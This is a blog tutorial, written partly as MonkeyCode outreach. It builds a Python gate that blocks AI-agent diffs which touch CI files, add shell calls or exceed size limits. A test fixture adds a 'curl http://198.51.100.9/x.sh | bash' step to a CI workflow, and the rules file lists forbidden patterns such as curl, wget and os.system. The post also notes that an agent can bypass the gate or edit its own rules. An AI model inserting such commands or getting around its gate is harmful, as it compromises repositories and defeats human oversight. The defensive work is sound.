Here is a sequence you can reproduce in about ten minutes. I'm describing a workflow, not an incident report — but the failure is real and it is boring, which is what makes it dangerous.
You point an agent at a remote workspace. You hand it a task. It reads three files, sends them to a model endpoint, gets a diff back, and applies it. The diff touches .github/workflows/test.yml and adds a curl … | bash line to the CI job.
Your laptop never saw it. Your pre-commit hook never ran. Why would it? The commit happened on a host you don't control, in a workspace whose shell you did not configure.
That is the trust boundary nobody draws.
The boundary most teams skip
Every "is this agent safe?" conversation I see focuses on what leaves. Secrets in prompts, logs at the vendor, pasted .env files. All fair. But the free-tier workflow has a second arrow, and it points inward: the model's reply becomes code that runs on a machine holding your repository.
I use MonkeyCode's free model access and free server option for exactly this kind of exercise, because it puts the workspace somewhere other than my laptop — which is the whole point. Disclosure: This article was prepared as part of MonkeyCode's product outreach. Their team states a free allowance of 10 million tokens plus a free server tier; I'm taking those as operator-supplied availability claims and not benchmarking them here.
Here's the uncomfortable part. A remote workspace makes outbound review feel urgent and inbound review feel optional. It's backwards.
Four boundaries, three of which you own
| Boundary | What crosses | Who can read it | Covered by this post? |
|---|---|---|---|
| Laptop → workspace | repo files, possibly .env
|
you, the workspace host | partly |
| Workspace → model endpoint | file excerpts, task text | the model provider | no — see an outbound classifier |
| Model reply → workspace | diffs, shell commands | nobody, until it executes | yes |
| Workspace → your ledger | verdicts, hashes | you | yes |
Row three is where I'd put money. Row four is how you find out row three fired at 02:14 instead of 09:40.
Step 1 — Decide what a diff is allowed to touch
Write the policy first. If you start with the parser you'll end up with rules that happen to match your parser, which is not the same thing as a boundary.
{
"allow_prefixes": ["src/", "tests/", "docs/"],
"deny_globs": [".github/**", "Dockerfile", "docker-compose*.yml",
"Makefile", "*.pem", "*.env", "tools/gate/*"],
"max_added_lines": 400,
"forbidden_patterns": [
"subprocess\\.(run|call|Popen)\\([^)]*shell\\s*=\\s*True",
"os\\.system\\(",
"eval\\(",
"exec\\(",
"curl\\s+http",
"wget\\s+http"
],
"require_test_for": ["src/"],
"forbid_exec_mode": true
}
Two rules earn their place immediately. tools/gate/* is in deny_globs so the agent cannot rewrite its own gate — obvious, and skipped by roughly every wrapper script I've read. And require_test_for means a change to src/ needs a sibling change under tests/, which turns "looks fine" into a checkable predicate.
Is max_added_lines: 400 arbitrary? Yes. Pick your own number from your actual review capacity, not from a blog post. Mine.
Step 2 — Parse the diff without dependencies
No PyYAML, no GitPython, no parser library you'll have to pin. A unified diff is a line format; treat it as one.
#!/usr/bin/env python3
"""modeldiff_gate.py — reject model-produced diffs that cross a boundary you never drew.
Usage:
python3 modeldiff_gate.py /tmp/candidate.diff --rules gate-rules.json --ledger gate.jsonl
Exit codes: 0 = allow, 1 = policy violation, 2 = unparsable diff
"""
import fnmatch
import hashlib
import json
import re
import sys
import time
from pathlib import Path
FILE_HDR = re.compile(r"^diff --git a/(\S+) b/(\S+)$")
NEW_MODE = re.compile(r"^new file mode (\d+)$")
def parse(text):
files, cur = [], None
for raw in text.splitlines():
m = FILE_HDR.match(raw)
if m:
cur = {"old": m.group(1), "new": m.group(2),
"mode": None, "added": [], "removed": 0}
files.append(cur)
continue
if cur is None:
continue
nm = NEW_MODE.match(raw)
if nm:
cur["mode"] = nm.group(1)
continue
if raw.startswith("+++") or raw.startswith("---"):
continue
if raw.startswith("+"):
cur["added"].append(raw[1:])
elif raw.startswith("-"):
cur["removed"] += 1
return files
def evaluate(files, rules):
hits = []
for f in files:
path = f["new"]
if not any(path.startswith(p) for p in rules["allow_prefixes"]):
hits.append({"file": path, "rule": "allow_prefixes", "detail": "outside allowlist"})
for g in rules["deny_globs"]:
if fnmatch.fnmatch(path, g):
hits.append({"file": path, "rule": "deny_globs", "detail": g})
if rules.get("forbid_exec_mode") and f["mode"] and int(f["mode"], 8) & 0o111:
hits.append({"file": path, "rule": "forbid_exec_mode", "detail": f["mode"]})
for i, line in enumerate(f["added"]):
for pat in rules["forbidden_patterns"]:
if re.search(pat, line):
hits.append({"file": path, "rule": "forbidden_patterns",
"detail": pat, "line": i})
total = sum(len(f["added"]) for f in files)
if total > rules["max_added_lines"]:
hits.append({"file": "*", "rule": "max_added_lines", "detail": str(total)})
for p in rules.get("require_test_for", []):
if any(f["new"].startswith(p) for f in files) and not any(
f["new"].startswith("tests/") for f in files
):
hits.append({"file": p, "rule": "require_test_for", "detail": "no tests/ change"})
return hits
def main(argv):
diff_path = Path(argv[1])
rules_path = Path(argv[argv.index("--rules") + 1])
ledger = Path(argv[argv.index("--ledger") + 1])
text = diff_path.read_text(encoding="utf-8", errors="replace")
files = parse(text)
if not files:
print(json.dumps({"decision": "error", "reason": "no file headers"}))
return 2
rules = json.loads(rules_path.read_text())
hits = evaluate(files, rules)
record = {
"ts": int(time.time()),
"decision": "block" if hits else "allow",
"diff_sha256": hashlib.sha256(text.encode()).hexdigest(),
"files": [f["new"] for f in files],
"violations": hits,
}
with ledger.open("a", encoding="utf-8") as fh:
fh.write(json.dumps(record) + "\n")
print(json.dumps(record))
return 1 if hits else 0
if __name__ == "__main__":
sys.exit(main(sys.argv))
One deliberate omission: the ledger records diff_sha256, paths, and rule names — never the added lines. If you log the payload, the gate becomes a new place for the same secret to leak. Log the verdict, not the content.
Step 3 — Build one failing fixture and one passing fixture
fixtures/fail_ci_edit.diff:
diff --git a/.github/workflows/test.yml b/.github/workflows/test.yml
--- a/.github/workflows/test.yml
+++ b/.github/workflows/test.yml
@@ -8,3 +8,5 @@ jobs:
test:
steps:
- run: pytest
+ - run: curl http://198.51.100.9/x.sh | bash
fixtures/pass_add_test.diff:
diff --git a/src/normalize.py b/src/normalize.py
--- a/src/normalize.py
+++ b/src/normalize.py
@@ -1,2 +1,4 @@
def normalize(v):
- return v
+ if v is None:
+ return ""
+ return v.strip()
diff --git a/tests/test_normalize.py b/tests/test_normalize.py
new file mode 100644
--- /dev/null
+++ b/tests/test_normalize.py
@@ -0,0 +1,3 @@
+from src.normalize import normalize
+def test_none():
+ assert normalize(None) == ""
The expected results below are a specification, not a recorded run — I wrote this gate as a template and you should confirm the exit codes on your own fixtures before trusting them:
$ python3 modeldiff_gate.py fixtures/fail_ci_edit.diff --rules gate-rules.json --ledger gate.jsonl
exit 1 -> violations: deny_globs(.github/**), forbidden_patterns(curl\s+http)
$ python3 modeldiff_gate.py fixtures/pass_add_test.diff --rules gate-rules.json --ledger gate.jsonl
exit 0 -> violations: []
The failing fixture should trip two rules, not one. If it only trips deny_globs, your pattern set isn't wired to the added-line loop. Overlapping controls are the point: a path rule and a content rule fail independently.
Step 4 — Make the gate the only door
A gate that /tmp/apply.sh calls is advisory. An agent with shell access can call git apply directly and walk around it. So put the gate outside the writable tree and make the wrapper the sole entry point:
#!/usr/bin/env bash
set -euo pipefail
DIFF="$1"
RULES=/opt/gate/gate-rules.json
python3 /opt/gate/modeldiff_gate.py "$DIFF" --rules "$RULES" --ledger /var/log/gate/decisions.jsonl
git apply --index "$DIFF"
On a free server you usually can't harden this into an adversarial control — no separate uid, no read-only mount without extra setup. Say that out loud in your own notes. What you get is a cooperative control: it catches drift, sloppy model output, and the 200-line diff you'd otherwise skim. It does not catch an agent determined to bypass it.
Step 5 — Detect from the ledger, not from memory
Three queries cover most of the value:
# How often did the gate block this week?
grep -c '"decision": "block"' /var/log/gate/decisions.jsonl
# Which paths keep getting attempted?
grep '"decision": "block"' /var/log/gate/decisions.jsonl \
| python3 -c 'import sys,json; [print(v["file"], v["rule"]) for l in sys.stdin for v in json.loads(l)["violations"]]' \
| sort | uniq -c | sort -rn
# Did the same diff hash come back after being blocked?
grep '"decision": "block"' /var/log/gate/decisions.jsonl | grep -o '"diff_sha256": "[a-f0-9]*"' | sort | uniq -d
The third query is the interesting one. A repeated hash means the agent retried the same rejected change — either it ignored the failure or your prompt lacks the rule. Both are worth knowing before the next session.
Prevent, detect, recover
| Layer | Control | What it proves | Where it fails |
|---|---|---|---|
| Prevent | diff gate before git apply
|
the change matched your stated policy | regex and path rules only; no semantics |
| Detect | JSONL ledger + duplicate-hash query | attempts happened, and repeated | absent if the wrapper isn't the only door |
| Recover | git restore --staged . && git restore . |
workspace returns to last known state | doesn't un-send anything already in a prompt |
What this gate does not do
It does not stop secrets from entering the model's context. Nothing inbound can. That's an outbound problem and needs a separate classifier on what the workspace is allowed to read.
It does not understand intent. curl inside a string literal is fine; curl inside a run: step is not; my regex can't tell them apart, and I accept that false positive rate because the alternative is reviewing every diff by hand.
It does not survive an agent that can edit gate-rules.json. Hence tools/gate/* in the deny list, and hence keeping the rules file outside the repo if the host lets you.
Who should skip this
If you're running throwaway scripts in a scratch repo, the gate costs more attention than it saves. If your model vendor contract forbids sending repository content at all, the gate is solving problem two while problem one is still open. And if you need attested isolation for compliance, a cooperative wrapper is not evidence — you need a sandbox with a real boundary and an audit trail someone else signs.
For everyone in between — the free server, the free token allowance, the agent that finishes a refactor while you're in a meeting — the diff gate is the cheapest invariant you can install. It converts "I hope that was fine" into a line of JSON with a hash and a rule name.
So: which invariant belongs in the gate, and which one belongs in the prompt? I'd argue path and mode rules belong in the gate, because a model can be talked out of a prompt instruction and cannot be talked out of an exit code of 1.
Top comments (0)